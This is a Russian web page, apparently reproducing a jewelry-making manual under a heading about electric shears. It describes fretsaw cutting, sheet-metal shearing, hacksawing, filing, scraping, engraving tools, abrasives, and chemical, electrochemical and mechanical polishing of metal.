Металл, как бумагу: выбираем хорошие электроножницы |

Металл, как бумагу: выбираем хорошие электроножницы |

Выпиливание лобзиком по металлу.

Выпиливание лобзиком — одна из самых сложных и ответственных операций индивидуального изготовления ювелирных изделий. Сущность выпиливания лобзиком заключается в удалении фоновых частей (фона), детали или рисунка, после чего остается сложная конструкция или ажурный орнамент.

Лобзик представляет собой небольшого размера станок (типа ножовочного) для натяжения режущей пилки Конструкция лобзика позволяет регулировать и фиксировать его размеры по длине, что дает возможность закреплять сломанные пилки и использовать их с максимальной экономичностью. Зажимные щечки лобзика имеют зубчатую рабочую поверхность для надежного захвата концов пилки и удержания ее в натяжении. Зажатие пилки производится с помощью болта (барашка).

Пилки для лобзика — это закаленная проволока прямоугольного сечения, на рабочей грани которой имеются наклонно-зубчатые насечки. Пилки различают по размерам их сечений и величине зубьев. С уменьшением толщины и высоты пилок уменьшаются размеры их зубьев. Лобзиковые пилки по металлу обозначаются номером, которому соответствует определенная ширина полотна. Изменение ширины полотна влечет пропорциональное изменение величины зуба, поэтому размер пилки выбирают по ширине. Нумерация пилок зарубежных фирм изменяется в диапазоне от 1 до 10. Соответствие ширины номеру пилки у всех зарубежных фирм одинаково при постоянной длине 130 мм.

Лобзик рассчитан на работу в вертикальном положении (Ручкой вниз), поэтому пилка закрепляется направлением режущих зубьев в сторону ручки (вниз). Пилка, находясь в рабочем состоянии, должна быть умеренно натянута. Слабое натяжение не сможет обеспечить точного пропила (по разметке). Излишне сильное натяжение при малейшем перекосе в прорези вызывает излом пилки, что мешает маневрированию при выпиливании криволинейных прорезей на малых участках. Натяжение пилки считается нормальным, если при упругом нажатии сбоку на середину пилки отклонение ее от оси составит около 3 мм.

Заготовка должна опираться на горизонтальную сторону финагеля и придерживаться левой рукой. Для выпиливания узора изделие просверливают, места сверления располагают в тех частях рисунка, которые будут удалены. Диаметр отверстия выбирают, таким, чтобы пилка свободно проходила в него. Пропиливая узор, следует сохранять заданный угол пропила; при его изменении пилку заклинивает и она ломается. Пилка должна двигаться легко даже при изменении направления пропила, для этого ее периодически сказывают воском.

Изготовление ювелирных изделий не обходится без выпиливания лобзиком. Наряду с выпиливанием ажурных узоров им выполняют еще ряд операций, таких, как вырезание гнезд для камней, пропиливание всечек, распиливание деталей по разметке, подчистка узоров в труднодоступных местах. Малые размеры ювелирных изделий, сложность их конфигурации заставляют ювелира работать лобзиком на опасном расстоянии пилки от пальцев, поэтому ювелир при выпиливании должен быть предельно внимательным. Не следует прилагать усилий в местах возможного срыва пилки в сторону пальцев, пытаться высвободить заклинившую пилку силой или направлять пилку на разметку пальцем.

3.3. Разрезание листового металла.

Разрезание – процесс разделения заготовки на части, удаления излишков металла, вырезание отверстий.

Тонкий листовой металл разрезают ножницами, профильный материал, трубы и толстые листы – ножовкой. Допустимая толщина листового металла, разрезаемого ручными ножницами, приведена в табл.2.

Таблица 2.

Металл Допустимая толщина, мм Металл Допустимая толщина, мм
Cталь 0,7 Дюралюминий 1,0
Латунь 0,8 Алюминий 2,5
Мельхиор 0,8 Серебро 875 0,8
Медь 1,0 Серебро чистое 1,0

Более толстый листовой, а также полосовой и прутковый металл разрезают рычажными и другими машинными ножницами. Различают прямые правые и прямые левые ножницы. У правых ножниц верхнее лезвие (по отношению к нижнему) находится справа, у левых- слева (рис.). В большинстве случаев применяют правые ножницы, так как линии разметки при работе ими хорошо видны; левыми ножницами пользуются при вырезании криволинейных деталей, при этом резать нужно по направлению хода часовой стрелки, располагая ножницы так, чтобы они не закрывали лезвием линии разметки (рис.)

Если ту же операцию производят правыми ножницами, то резание ведут в направлении против хода часовой стрелки.

Применяют также ножницы с кривыми лезвиями специально для разрезания по кривым линиям.

Разрезание листового металла производят по заранее нанесенной разметке и ножницы располагают так, чтобы верхнее лезвие всегда находилось над разметочной линией. При разрезании листа отрезаемую часть отгибают (левой рукой) вверх, что облегчает процесс и предохраняет правую руку от пореза.

Металл, как бумагу: выбираем хорошие электроножницы |

Рис. 3 Разметка. Положение чертилки:
а) неправильно; б) правильно

При разрезании листа на узкие полосы его нужно положить на стол и следить за тем, чтобы нижнее лезвие опиралось на стол, а отрезаемые полосы отгибались вперед.

Металл, как бумагу: выбираем хорошие электроножницы |

Рис. 4 Ручные ножницы:
а) прямые правые; б) прямые левые; в) кривые левые

Ножницы нужно раскрывать несильно – примерно на 2/3 длины лезвия, тогда они хорошо захватывают и режут металл; сильно раскрытые ножницы выталкивают металл. Лезвия ножниц должны быть перпендикулярны к плоскости листа, при перекосе они мнут металл, образуются заусенцы, а ножницы заедает. Ножницы нужно все время плотно прижимать к концу прореза, иначе неизбежно появятся заусенцы.

Вырезку отверстий в деталях лучше выполнять кривыми ножницами.

Стуловые (или кровельные) ножницы применяют для разрезания более толстых листов (до 2-3 мм). Они отличаются тем, что верхняя рукоятка удлинена до 400-800 мм, а нижняя изогнута и крепится к верстаку. На этих ножницах работают всей рукой (а не кистью, как в ручных), что значительно увеличивает силу разрезания.

У рычажных ножниц нижнее лезвие неподвижное, закреплено на столе, а верхнее сочленено с ним посредством шарнира. Ножницы снабжены прижимным устройством, которое гасит опрокидывающий момент, возникающий в процессе резания. Они позволяют разрезать стальные листы толщиной до 2 мм.

Для этой цели существует также целый ряд машинных, или механических, ножниц: дисковые, вибрационные и др.

Металл, как бумагу: выбираем хорошие электроножницы |

Рис. 5. Разрезание ножницами:
а) разрезание листа на широкие полосы; б) разрезание листа левыми ножницпми;
в),г) вырезание заготовки круглой формы; в) неправильно; г) правильно

Профильный металл и трубы разрезают ручными или механическими ножовками. Ручная ножовка состоит из станка или рамы и вставленного в него сменного ножовочного полотна (рис., а). Полотна бывают с мелким зубом (шаг которых 0,8-1 мм) и с более крупным (шаг-1,25 и 1,6 мм). Зубья полотна, установленного в станке, направлены остриями вперед. Степень натяжения полотна не должна быть слабой – в этом случае разрез получается косой, а полотно легко ломается. При чрезмерном натяжении полотно также легко ломается при малейшем перекосе. Натяжение полотна проверяют поворотом его на 1/8 часть окружности, взяв двумя пальцами посредине его длины.

При работе ножовку держат за ручку правой рукой, а левой поддерживают передний ее конец в горизонтальном положении, как показано на рис., б. Нельзя работать ножовкой без ручки, так как острый хвостовик ножовки может поранить работающего. При этом левой рукой, которая находится впереди, производят нажим, а правая рука только перемещает ножовку; во время движения назад (к себе) нажим не производится, так как нажим при холостом ходе ведет к быстрому затуплению зубьев. Перед концом разрезания усилие уменьшается.

При разрезании толстых заготовок полотно смазывают машинным маслом. Если распил получается косой (идет не по риске), не следует пытаться исправить направление поворотом ножовки – полотно сломается. Нужно начать новый разрез с противоположной стороны, повернув заготовку. Если полотно сломалось и заменено новым, то, продолжая разрезание новым полотном, нужно иметь в виду, что старое, изношенное, полотно дает более узкий пропил, и новым полотном надо начинать резать в другом месте.

При разрезании массивных заготовок длина пропила большая и резать трудно; для облегчения работы ножовку наклоняют последовательно то к себе, то от себя, при этом резание идет не по всей ширине и процесс резания облегчается.

Граненые изделия начинают резать с грани, а не с угла. Полосовой металл разрезают по узкой грани – это производительней. Очень тонкий материал режут по широкой грани, так как при врезании зубья цепляются и полотно может легко сломаться. Обычно для облегчения врезания делают небольшой пропил трехгранным напильником или направляют полотно сбоку большим пальцем левой руки.

Очень тонкий материал режут, зажав его между деревянными брусками толщиной 15-30 мм вместе с брусками.

Новое полотно в ножовке сначала используют для разрезания мягких металлов (меди, латуни, алюминия и др.), а когда оно немного затупится – для стали и чугуна.

Для отрезания полосы от листа полотно поворачивают относительно станка на 90° и осторожно режут при горизонтальном положении, так как от собственного веса ножовки полотно легко ломается.

При вырезании отверстий в листовом металле сначала сверлят отверстие, в которое можно ввести полотно, затем собирают ножовку и приступают к резанию.

При разрезании труб сначала ножовку держат горизонтально; когда стенка трубы окажется пропиленной, ее наклоняют на себя. При дальнейшей работе трубу поворачивают на 45-90° от себя и продолжают резать.

Разрезаемые изделия необходимо надежно зажимать в тисках, иначе в процессе разрезания оно может сместиться и хрупкое полотно сломается.

§

Опиливанием называют операцию по обработке металла напильником. При этом с детали снимают слой металла с целью придать необходимую форму, размеры и чистоту поверхности.

По форме поперечного сечения напильники разделяют на плоские, квадратные, трехгранные, круглые, ромбические, полукруглые и ножовочные. По роду насечки напильники делят надрачевые – с крупной насечкой для грубой обработки, личные – с более, мелкой насечкой для окончательного опиливания. Наиболее мелкая насечка у бархатных напильников, которые применяют для точных работ.

Для мелких (ювелирных и граверных) работ применяют надфили, которые также различают по форме поперечных сечений, а также рифлевки, представляющие собой надфили изогнутой формы, которые применяют для обработки углублений, поднутренных и других труднодоступных участков деталей

Металл, как бумагу: выбираем хорошие электроножницы |

Рис. 6. Надфили и рифлевки различных профилей:
а) Надфили; б) рифлевки

При опиливании деталь прочно зажимают в тисках. Напильник берут в правую руку так, чтобы ручка упиралась в ладонь, большой палец находился сверху ручки, а остальные пальцы поддерживали ее снизу. Левую ладонь кладут на конец напильника и прижимают его к обрабатываемой детали. Такое положение обеих рук помогает правильно вести опиливание, затрачивать меньше энергии и получать большую производительность

Металл, как бумагу: выбираем хорошие электроножницы |

Рис. 7. Приемы опиливания:
а) положение работающего при опиливании; б) положение ног при
опиливании; в) положение напильника; г) прием опиливания

При работе надфилем (а также при обработке мелких деталей напильником) большим пальцем левой руки нажимают на конец (нос) надфиля, остальными пальцами поддерживают его снизу. Указательный палец правой руки кладут на надфиль (или напильник). При таком положении рук давление получается минимальным, стружка снимается очень тонкая и поверхность доводится до нужного размера без опасности «запилить» разметочную линию.

Движения при опиливании должны быть равномерными, от 40 до 70 рабочих ходов в минуту. Нажимать на напильник следует только во время рабочего хода – движения вперед, при холостом (обратном) ходе напильник идет свободно без нажима, однако, его не следует отрывать от изделия, чтобы не потерять опоры и не изменитьположения напильника. Чем мельче насечка на напильнике, тем меньше должна быть сила нажатия.

При обработке мягких и вязких металлов напильник натирают мелом, при этом он меньше забивается стружкой. Нельзя хранить напильники и надфили навалом, от этого зубья насечки затупляются и выкрашиваются. Во время работы нельзя класть напильник на замасленный верстак или браться за насеченную часть грязными руками- в масле или краске: от этого напильник быстро засаливается и перестает работать. Засаленный напильник или надфиль чистят куском твердого древесного угля, которым трут поперек напильника до полного удаления следов масла. Напильники нужно оберегать от воды, загрязнения и особенно от абразивной пыли. Периодически насечку напильника прочищают стальной щеткой или загнутым концом медной или латунной пластинки, проводя ее вдоль насечки и удаляя тем самым набившиеся опилки.

Если удалить стружку чисткой не удается, надфиль (или напильник) можно опустить на 8-10 мин в 10-процентный раствор серной кислоты, после чего его промывают в воде, чистят щеткой, затем нейтрализуют в растворе едкого натра, еще раз промывают в горячей воде и сушат.

Для очистки напильников от древесных, костяных, фибровых, эбонитовых и пластмассовых стружек их опускают в горячую воду на 15-20 мин, после чего очищают стальной щеткой.

Новым напильником (надфилем) рекомендуется сначала обрабатывать мягкие металлы, а после некоторого затупления – твердые металлы (сталь). Это увеличивает срок службы напильника. При работе нужно использовать всегда полную длину напильника.

В процессе опиливания особое значение имеет контроль. Проверять деталь нужно часто, особенно в конце опиливания. Прямолинейность опиленной поверхности контролируют на просвет линейкой, параллельность проверяют кронциркулем. При точных работах применяют штангенциркуль и микрометр. При опиливании плоскостей, расположенных под углом 90°, их взаимоперпендикулярность проверяют специальным слесарным угольником.

Контроль наружных углов детали осуществляют внутренним углом угольника, смотря на просвет; правильность внутренних углов в изделии проверяют наружным углом. При опиливании углов детальв тисках нужно зажимать так, чтобы обрабатываемая грань располагалась всегда горизонтально.

При опиливании криволинейных поверхностей напильнику придают качательное движение в вертикальной плоскости, если опиливание идет вдоль криволинейной поверхности.

Короткие заготовки зажимают в тиски вертикально и обрабатывают колебательными движениями напильника в горизонтальной плоскости.

Мелкие детали зажимают в ручные тиски и, оперев их о верстак, поворачивают левой рукой на себя при рабочем ходе (движении напильника вперед) и от себя при холостом ходе. При этом напильник (или надфиль) держат правой рукой с вытянутым вперед указательным пальцем и им осуществляют нажим.

Вогнутые криволинейные поверхности, а также круглые и криволинейныеотверстия в деталях опиливают полукруглыми или круглыми напильниками или надфилями. Напильник движется горизонтальнои одновременно поворачивается вокруг своей оси, причем радиус кривизны напильника или надфиля должен быть всегда меньше радиуса кривизны поверхности.

Опиливание тонких пластинок обычными приемами невозможно, так как они изгибаются, мнутся и получаются завалы и т. п. Не следует применять довольно распространенный способ, когда пластинка зажимается между двумя деревянными планками, так как при этом насечка напильника быстро забивается деревянными опилками. Лучше всего применять специальные раздвижные стальные закаленные рамки. Они состоят из двух планок (между которых зажимается обрабатываемая деталь), соединенных подвижно на цилиндрических штифтах, и зажимаются в тисках. Обработка ведется до касания напильника верхней плоскости рамки, что позволяет обходиться без контроля правильности опиливания специальной линейкой.

§

Металл, как бумагу: выбираем хорошие электроножницы |
рис.8. виды шаберов

Обработка поверхности изделия путем соскабливания тонкого слоя металла режущим инструментом – шабером – называется шабрением. Это одна из отделочных операций, которая производится для удаления рисок, образовавшихся в процессе опиливания, или для подготовки украшения к полированию. Поэтому от качества шабрения во многом зависит и внешний вид изделия. Шабрение необходимо выполнять таким образом, чтобы свести возможные шероховатости к минимуму. К шабрению прибегают в трех случаях: когда необходимо шабрение внутренних круглых поверхностей, наружных поверхностей или труднодоступных участков изделия.

При шабрении используются или круглый шабер диаметром 6-8 мм, или треугольный со стороной опять же 6-8 мм. Угол заточки этого инструмента составляет около 30-35˚. При обработке наружных поверхностей более целесообразно использовать шабер с мелкой насечкой от 4 до 6 мм. Их угол заточки составляет 15-25˚. При шабрении труднодоступных мест используется практически все виды шаберов. Основной показатель мастерства при выполнении этой операции – правильный подбор инструмента, который облегчит работу и позволит выполнить ее более качественно.

Шабрение выполняется обычно за верстаком. При этом ювелир держит изделие в левой руке, а инструмент – в правой. Упором для работы служит финагель. Когда ювелир обрабатывает внутренние округлые поверхности, то для удобства шабер берут так, чтобы его ручка помещалась в ладони правой руки. Рабочая часть инструмента гранью вниз располагается на поверхности изделия. Для равномерного и аккуратного шабрения инструменту указательным пальцем придают движение вперед и по окружности (по часовой стрелке). Обратное (холостое) движение производится без снятия стружки. Длина хода шабера зависит от диаметра обрабатываемой поверхности (обычно 12-15 мм).

При обработке наружных поверхностей инструмент берется иначе: ручка шабера зажимается между безымянным пальцем и мизинцем или между безымянным и средним пальцами. Указательный или средний как бы упираются в стержень сбоку, почти на границе с рабочей частью инструмента. Если на изделии есть заметные следы предшествовавшей обработки, то шабер должен находится под углом 45-60˚, при более тонкой обработке – 30-40˚. Прижав лезвие к поверхности и толкая его большим пальцем, придают шаберу движение. Возвратное движение совершается вхолостую. Длина хода должна по возможности не превышать 15 мм.

§

Слово «гравюра» происходит от французского глагола graver, что означает «вырезать на чем-либо». Принцип гравирования заключается в механическом вырезании штрихов на том или ином материале с помощью специальных резцов – штихелей и игл.
Термин «художественное гравирование» охватывает несколько видов творческой деятельности художников. Мы рассмотрим лишь работы по металлу, связанные с прикладным искусством (украшения, бытовые изделия, сувениры, надписи, монограммы).

Рис. 9. Металл, как бумагу: выбираем хорошие электроножницы |

В технологии художественного граверного мастерства различают плоскостное гравирование (двухмерное), при котором обрабатывается только поверхность, и обронное гравирование (трехмерное), при котором резцом создается рельеф или даже объемная скульптура из металла.

Обронное гравирование, в свою очередь, подразделяют на выпуклое (позитивное), когда рисунок или рельеф выше фона, и углубленное, когда рисунок ниже фона, т. е. вырезается с поверхности.

Гравирование бывает ручным и механизированным. Ювелиры после предварительной обработки изделий напильником или шабером производят окончательную отделку изделий штихелем — граверным стальным резцом длиной 120 мм, вставленным в деревянную ручку специальной формы (рис. 9).

Штихели различают по форме клина и его поперечного сечения. Режущая поверхность штихеля имеет типичную форму клина, снимающего стружку с поверхности металла поступательным движением (рис. 10). Отечественная промышленность выпускает следующие виды штихелей: прорезной, вырезной, радиусный, плоский, растровый и т. д.

Прорезной штихель (мессерштихель) в поперечном сечении имеет клиновидную форму с острой, слегка закругленной режущей кромкой. Радиус закругления 0,1—0,2 мм. Этот вид штихелей имеет шесть размеров и применяется для вырезания волосяных линий большой глубины.

Вырезной штихель (шпицштихель) отличается от прорезного тем, что боковые стенки в поперечном сечении имеют небольшую выпуклость. Этот штихель наиболее распространен: он имеет 20 различных размеров.

Металл, как бумагу: выбираем хорошие электроножницы |Радиусный штихель (больштихель) имеет в сечении, клиновидную форму. Режущая кромка выполнена с радиусом от 0,3 до 1,5 мм. Используется для шрифтовых надписей и чистовой обработки поверхности изделий. Больштихель имеет 20 размеров.

Плоский штихель (флахштихель) имеет плоскую режущую кромку шириной от 0,2 до 3 мм. Применяется для получения широких плоских углублений, а также для чистой обработки ювелирных изделий. Имеет 20 размеров.

Растровый штихель (рунд) имеет плоскую режущую кромку с несколькими зубьями, вследствие чего на поверхности можно сразу получить несколько параллельных углублений. Шаг зубьев от 0,1 до 0,3 мм. Имеет семь размеров.

Изготовляют штихели вручную из инструментальных сталей марок У12 и ХВГ. Кроме этих сталей, можно использовать и шарикоподшипниковые стали.

Большое значение имеет правильная заточка штихеля . При затачивании локоть руки надо держать на весу неподвижно, а кисть руки направлять к себе и обратно, плотно прижимая резец к шлифовальному камню, чтобы плоскость резца затачивалась ровно под углом 45o; таким образом, заточенный резец будет резать металл легко и на нужную глубину. Если угол заточки меньше 45o, то при гравировании резец будет перемещаться рывками («прыгать»), а при большем угле заточки — скользить по металлу. Рабочая поверхность резца должна быть отшлифована.

При гравировании плоских изделий (плоскостном гравировании) применяют специальную гравировальную подушечку, которая изготовляется следующим образом. Из кожи толщиной 3—4 мм вырезают два круга диаметром 180—200 мм и сшивают их дратвой, отступив от края на 5 мм. При этом круг пришивают не полностью — 30—50 мм от поверхности должны остаться непрошитыми. В непрошитое отверстие насыпают сухой песок и отверстие зашивают.

При обработке детали часто закрепляют в граверную колодку, имеющую высоту 110—120 мм и наружный диаметр 75—80 мм. Колодку и зажимный винт изготовляют из стали. Такая колодка позволяет быстро и точно производить.гравировальные работы.

Сейчас читают:  Stihl Ms 180 Не Заводится Причины

При обронном гравировании, как правило, с поверхности снимается большая масса металла. Поэтому кроме штихелей применяют гравировальные зубила, так как рубить металл значительно легче и быстрее, чем резать его штихелем.

Гравировальные зубила представляют собой стальные стержни толщиной 6—10 и длиной 120—150 мм. Рабочий конец их должен иметь форму того или иного штихеля. В соответствии с этим различают флахзубило и бользубило.

Кроме штихелей и зубил при обронном гравировании применяют керны (для разметки поверхности), сечки (плоские зубила различной ширины с заточкой на одну сторону), чеканы (стальные стержни для выравнивания фона и набивки фактуры).

Граверные чеканы более массивны, чем чеканы для чеканочных работ, так как работают ими в основном по стальным заготовкам при отделке штампов и пуансонов.

Материалом пуансонов обыкновенно является инструментальная сталь. Разновидностью пуансонов являются зеки — пуансоны, изготовленные в форме букв, на рабочей поверхности которых имеются выпуклые места, что даст на листовых заготовках буквы с вогнутой поверхностью. При ударе по зеке молоточком металл под ней оседает. После этого требуется выгравировать лишь наружные очертания буквы. Маточники отличаются тем, что на их рабочем торце гравируются не цифры или буквы, а части рельефа или элементы орнамента. При обронном гравировании заготовка так же, как и при плоскостном гравировании, устанавливается на граверной колодке.

Изделия из драгоценных металлов гравируют, как правило только вручную.

Однако для облегчения и ускорения работ при гравировании изделий из сталей (матриц, пуансонов) предварительную обточку наружных поверхностей заготовок, сверление отверстий, снятие фасок, грубое фрезерование углублений и т. п. производят на токарных, фрезерных, сверлильных, шлифовальных и других станках. Часто применяют также бормашину, позволяющую производить грубую выборку металла в матрицах и пуансонах, а также шлифовать плоские кривые поверхности. В массовом производстве граверных изделий применяют гильоширные, гравировально-копировальные, рельефно-копировальные и другие машины.

Гильоширная машина позволяет быстро вычертить на поверхности изделий тончайшие, сложно сплетенные сетки из тонких кривых линий. Гравировально-копировальная машина при помощи специального шаблона резцом производит не только плоскостное гравирование, но и гравирование изделий на необходимую глубину. Более сложной копировальной машиной является пантограф, гравирующий алмазным резцом. Эта машина снабжена специальным приспособлением, при помощи которого можно пропорционально уменьшать рисунок на изделиях. Применение пантографа позволяет воспроизводить фигурные и портретные композиции в уменьшенном размере,. используя в качестве шаблона крупные авторские оригиналы.. Рельефно-гравировальная машина со специальным устройством для преобразования вертикального движения в горизонтальное позволяет при помощи алмазного резца получать плоское светотеневое графическое изображение на металле.

§

Распространенными видами обработки поверхности металлов с целью получения определенных размеров и необходимой шероховатости являются шлифование и полирование.

Шлифованием достигаются в основном высокая размерная точность порядка 2—4 мкм и шероховатость поверхности детали, соответствующая 7-му — 9-му классам.

Достоинство шлифования — большая производительность. В процессе шлифования обрабатываемые детали прижимаются к вращающемуся шлифовальному кругу, твердые остроугольные частицы которого снимают с детали тонкий слой металла. Глубина резания зависит от твердости и вязкости обрабатываемого металла, а также от твердости, размеров и геометрической формы зерен и материала шлифовальных кругов.

Промышленность в качестве материала для шлифовальных кругов использует абразивы как природного, так и искусственного происхождения. К природным абразивным материалам относятся кварц, наждак, корунд и алмаз, к искусственным — синтетические алмазы, электрокорунд, карбид кремния, карбид и нитрид бора. Наибольшую твердость имеют карбид бора, нитрид бора и особенно алмазы.

Кварц представляет собой безводную кристаллическую кремниевую кислоту SiO2 с содержанием кремнезема около 98,5—99,5%; твердость по шкале Мооса 7. Обычно бесцветен,, но в зависимости от содержания примесей может иметь различную окраску (от бесцветного до черного). Разновидностью кварца является кремнезем, содержащий не менее 97 % SiO2 и применяемый для изготовления шлифовальной шкурки на тканевой и на бумажной основах.

Наждак — минерал темно-серого цвета (иногда черного), содержащий до 60% оксида алюминия (Аl2O3), смешанного с магнетитом, гематитом, пиритом и кварцем. Твердость наждака по шкале Мооса 7—8.

Корунд представляет собой кристаллический глинозем с содержанием Аl2O3 до 95%. Корунд по сравнению с наждаком более вязок и менее хрупок; твердость его по шкале Мооса около 9. Применяется в виде микропорошков для шлифования, доводки и полирования.

Электрокорунд является искусственным абразивным материалом и содержит 94—97 % Аl2O3 и примеси железа, титана и кремния.

Карбид кремния имеет твердость по шкале Мооса 9,5 и уступает в твердости только алмазам. Применяется для обработки хрупких материалов и мягких металлов.

Нитрид бора — искусственный абразивный материал, твердость которого близка к твердости алмаза, а абразивная способность при шлифовании даже выше, чем у алмаза. Нитрид бора применяется для обработки специальных сплавов и сталей с высокой твердостью, особенно в тех случаях, когда должна быть обеспечена высокая размерная точность.

Карбид бора — тугоплавкое соединение бора с углеродом. По твердости уступает только алмазу.

Алмаз —кристаллический углерод. В зависимости от происхождения алмазы делятся на природные и синтетические. Высокая твердость алмаза объясняется особенностями его кристаллической решетки и чрезвычайной плотностью атомной структуры. Твердость алмазов по шкале Мооса 10.

Шлифование металлов осуществляется механическими и ручными методами. При механических методах используют специальные шлифовальные бормашины со сменными резиновыми и керамическими кругами, при ручных – абразив бруски, напильники, наждачнцю бумагу (шкурку).

§

Химическое полирование заключается в том, что обрабатываемую деталь погружают на некоторое время в сосуд с химически активным раствором, где в результате возникающих химических и местных электрохимических процессов происходит растворение металла. Шероховатость поверхности уменьшается или совсем устраняется, при этом обработанная поверхность приобретает блеск. Все процессы химического полирования сопровождаются бурным выделением газов и паров кислот или щелочей.

Металл, как бумагу: выбираем хорошие электроножницы |

рис. 12.

В процессе полирования рекомендуется перемешивать раствор или встряхивать детали в емкости. Это дает возможность устранять скопление пузырьков газов на отдельных участках деталей, так как пузырьки газов понижают качество полирования. Одним из главных преимуществ химического полирования является его простота. Для получения требуемого результата достаточно обрабатываемую деталь на несколько минут погрузить в соответствующий раствор, без применения электрического тока, без механического воздействия. Метод не требует сложного оборудования.

К недостаткам такого полирования относится сложность корректирования (поддержание точных соотношений всех элементов в растворе путем добавления израсходованного элемента) растворов и малый срок их службы. Применяемые растворы чрезвычайно опасны для здоровья человека, и в домашних условиях без соответствующей подготовки проводить такое полирование нельзя. Блеск поверхности получается меньше, чем при электрохимическом полировании. Химическому полированию подвергаются в основном латунные или алюминиевые детали сложной конфигурации и небольших размеров, которые не требуют зеркального блеска.

§

Электрохимическим полированием называется процесс отделки поверхности металлов, приводящий к уменьшению шероховатости и появлению зеркального блеска электрохимическим способом.

Металл, как бумагу: выбираем хорошие электроножницы |

рис. 13.

Для осуществления электрохимического полирования обрабатываемую деталь, являющуюся анодом (т.е. электродом, соединенным с положительным полюсом источника тока), надо поместить в ванну с электролитом. Вторым электродом служат катоды, изготовленные из меди. На схеме показано протекание процесса электрохимического полирования. Благодаря специально подбираемому составу электролита и создаваемым условиям (образование пленки 2 повышенного сопротивления) растворение осуществляется неравномерно. В первую очередь растворяются наиболее выступающие точки 3 (выступы), вследствие чего шероховатость уменьшается, а затем исчезает, и поверхность детали становится гладкой и блестящей. Избирательное растворение торчащих элементов протекает с одновременным получением блеска.

Удаление крупных выступов 3 называется макро-полированием, а растворение микроскопически малых неровностей 4 – микро-полированием. Если макро- и микро-полирование протекает одновременно, то поверхность приобретает гладкость и блеск. В ряде случаев эти качества могут быть несвязанными друг с другом, т.е. блеск может достигаться без сглаживания, а сглаживание – без блеска.

В процессе электрохимического полирования на поверхности анода (полируемой детали) образуется окисная или гидроокисная пленка. Если эта пленка равномерно покрывает поверхность, то она создает условия, необходимые для протекания микро-полирования. Внешняя часть этой пленки непрерывно растворяется в электролите. Поэтому для успешного проведения процесса необходимо создания условий, в которых существовало бы равновесие между скоростями образования окисной пленки и скоростью ее химического растворения с тем, чтобы толщина пленки поддерживалась неизменной. Наличие пленки обусловливает возможность обмена электронами между полируемым металлом и ионами электролита без опасности местного разрушения металла агрессивным электролитом.

Механическая полировка металлов.

§

Детали и изделия, подлежащие полированию, не должны иметь царапин и глубоких рисок, так как вывести их полированием чрезвычайно трудно, а иногда практически невозможно. Изделия из цветных и драгоценных металлов, не обладающих, как правило, высокой твердостью, во избежание дефектов от ударов рекомендуется транспортировать в специальной таре с индивидуальными ячейками.

При выборе удельного давления нужно учитывать и свойства обрабатываемого металла. Чем мягче металл, тем легче снять с него слой, но тем труднее достичь однородности поверхности. Полирование твердых металлов по сравнению с мягкими при одних и тех же условиях обработки (одинаковые исходная шероховатость, точность, подлежащий съему припуск: и т. д.) ведут с большими удельными давлениями полировальника на обрабатываемую поверхность.

Полирование с использованием кругов (полировальников)

Полирование кругами осуществляется на полировальных станках с помощью полировальной смеси (пасты) или суспензий, полировальных кругов из войлока или круглых щеток.

Для механического полирования с использованием смесей или суспензий существует большое число разнообразных кругов-шлифовальников. Если изделия простой формы — плоские или квадратные, их можно обрабатывать на универсальном станке с полировальным кругом прямого профиля. Для грубой обработки используют жесткие и твердые круги, для тонкой обработки — мягкие. Твердый круг интенсивно полирует, но быстро засаливается, особенно при обработке мягких цветных и драгоценных металлов и сплавов. Мягкий эластичный круг малоэффективен на предварительных операциях и, кроме того, при сильном прижатии к обрабатываемым деталям деформируется и расплющивается.

Механическое полирование изделий кругом, покрытым смесями или суспензиями, выполняют следующим образом: сначала полируют от середины правую и левую поверхности изделия, а затем в том же порядке поверхность с противоположного конца. Направления полирования следует чередовать — сначала надо полировать наклонно под углом 30, 45 и 60 градусов вправо и влево, а затем в продольном направлении.

Детали и изделия, имеющие форму тел вращения или другой сложный профиль, полируют главным образом наклонно — вправо и влево.

По окончании предварительной полировки изделия подвергают отделочной полировке в продольном направлении (сначала с одного конца, а затем — с другого).

При полировании рабочую поверхность эластичных кругов нужно периодически смазывать полировальной смесью, причем в определенных дозах: при избытке смеси круг будет «салить» изделия, а при недостатке—поверхность металла не приобретает желаемого блеска и полировальный круг быстро износится. При смазывании полировального круга рекомендуется оставлять свободной от полировальной смеси примерно 1/4 часть рабочей поверхности.

Эластичный круг должен вращаться и прижиматься к изделиям с определенным усилием, само же полируемое изделие должно свободно передвигаться по отношению к кругу. Полирование с применением смесей может осуществляться периферией или торцом круга. Полировальный круг имеет только вращательное движение, перемещение изделий производится непосредственно рукой или особым приспособлением.

Для получения полированной поверхности высокого качества необходимо вначале произвести грубую обработку (предварительное полирование), а затем тонкую (окончательное или тонкое полирование). Частота вращения круга на полировальных станках 2000—2800 об/мин. Станки с большой частотой вращения круга применяют в тех случаях, когда требуется высокое качество, обработки. Если необходимо достичь зеркального блеска, то полирование осуществляется при более низких: частотах вращения круга.

Вначале полировку производят грубыми войлочными кругами с небольшим количеством полирующего вещества, а затем переходят на круги из мягкого войлока. Для получения зеркального глянца используют наборные полировальные круги из хлопчатобумажной ткани или мягких кожаных шайб. Заканчивают процесс полированием изделий на кольцевой щетке, содержащей вместо щетины пучки хлопчатобумажных или шерстяных ниток. В этом случае пользуются наиболее тонкими полировальными пастами, которые наносят на поверхность инструмента в очень небольшом количестве.

Для окончательной доводки поверхности ювелирных изделий применяют также щетки из ниток — пуховки.

На качество поверхности существенное влияние оказывает также удельное давление круга (полировальника) на обрабатываемую поверхность. С увеличением удельного давления интенсивность процесса повышается до некоторых пределов, однако его дальнейшее повышение снижает не только качество обработки, но и производительность (преждевременно изнашивается круг, наблюдается заметный нагрев обрабатываемых, изделий). Для повышения качества поверхности изделий полирование необходимо производить с небольшим удельным давлением, в результате на поверхности меньше заметны риски и соответственно больше отражательная способность металла. В табл. 1 приведены режимы механического полирования эластичным кругом, покрытым пастой.

Таблица 3.

Режимы механического полирования эластичным кругом, покрытым пастой

Полируемый материал Окружная скорость, м/с Удельное давление, МПа
Сталь, никель 30—35 1-2
Медь, драгоценные металлы 20—30 0,3—0,8
Алюминий и его сплавы 18—22 0,1—0,4
Пластические массы 12—15 0,1—0,2

§

Для полирования изделий из металлов используют абразивные материалы в виде паст: тонкие порошки абразива, диспергированные в композиции из парафина, стеарина, технического сала, олеиновой кислоты и т. д.

